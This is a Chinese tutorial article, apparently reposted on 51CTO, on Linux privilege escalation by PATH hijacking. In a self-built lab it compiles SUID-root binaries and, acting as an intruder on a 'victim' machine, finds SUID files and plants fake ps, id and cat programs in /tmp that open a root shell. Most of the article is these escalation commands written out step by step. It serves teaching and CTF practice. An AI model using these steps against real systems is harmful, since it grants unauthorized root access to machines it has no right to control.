黑客的Linux神技能:使用环境变量进行提权

系统 Linux
在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

黑客的Linux神技能:使用环境变量进行提权

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量: 

  1. echo $PATH  
  2. /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games 

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

  1. pwdmkdir scriptcd /scriptnano demo.c 

 

正如你在demo.c文件中看到的,我们正在调用ps命令。

 

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。 

  1. lsgcc demo.c -o shellchmod u+s shellls -la shell 

 

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。 

  1. find / -perm -u=s -type f 2>/dev/null 

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

 

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。 

  1. /home/raj/script 

 

Echo命令 

  1. cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami 

 

Copy命令 

  1. cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami 

 

Symlink命令 

  1. ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami 

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

 

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。 

  1. pwdmkdir scriptcd /scriptnano demo.c 

正如你在demo.c文件中看到的,我们正在调用id命令。

 

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。 

  1. lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2 

 

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。 

  1. find / -perm -u=s -type f 2>/dev/null 

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。 

  1. cd /home/raj/scriptls./shell2 

 

Echo命令 

  1. cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami 

 

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

 

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。 

  1. lsgcc demo.c -o rajchmod u+s rajls -la raj 

 

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。 

  1. find / -perm -u=s -type f 2>/dev/null 

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。 

  1. cd /home/raj/script/ls./raj 

 

Nano**编辑器** 

  1. cd /tmpnano cat 

现在,当终端打开时输入/bin/bash并保存。

 

 

  1. chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami 

 

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

 

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。 

  1. lsgcc demo.c -o ignitechmod u+s ignitels -la ignite 

 

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表 

  1. find / -perm -u=s -type f 2>/dev/null 

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。 

  1. cd /home/raj/scriptls./ignite 

 

Vi编辑器 

  1. cd /tmpvi cat 

现在,当终端打开时输入/bin/bash并保存。

 

 

  1. chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami 

 

原文链接:http://www.freebuf.com/articles/system/173903.html 

责任编辑:庞桂玉 来源: 马哥Linux运维
相关推荐

2021-02-15 15:52:27

Linux环境变量命令

2023-11-01 13:40:25

GolangGo

2021-06-18 08:43:20

环境变量Linux

2019-09-09 09:02:04

Linux脚本语言文本编辑器

2009-10-21 12:58:18

2021-11-29 10:25:16

Linux环境变量命令

2019-05-30 10:20:10

Linux环境变量命令

2009-06-16 15:57:53

Java环境变量

2021-01-06 08:04:30

Linux方式提权

2010-03-01 18:01:45

Python环境变量

2011-08-22 15:06:19

linux环境变量

2020-12-28 10:50:09

Linux环境变量命令

2009-11-27 14:08:18

2011-06-14 09:21:55

Linux Qt 环境变量

2018-01-03 12:49:48

Linux命令sudo

2020-11-23 15:21:12

Linux环境变量

2010-06-07 11:33:11

Linux查看环境变量

2011-05-31 13:41:50

Android 环境变量

2009-06-15 16:28:30

JAVA环境变量

2023-12-12 13:22:00

LinuxDocker容器
点赞
收藏

51CTO技术栈公众号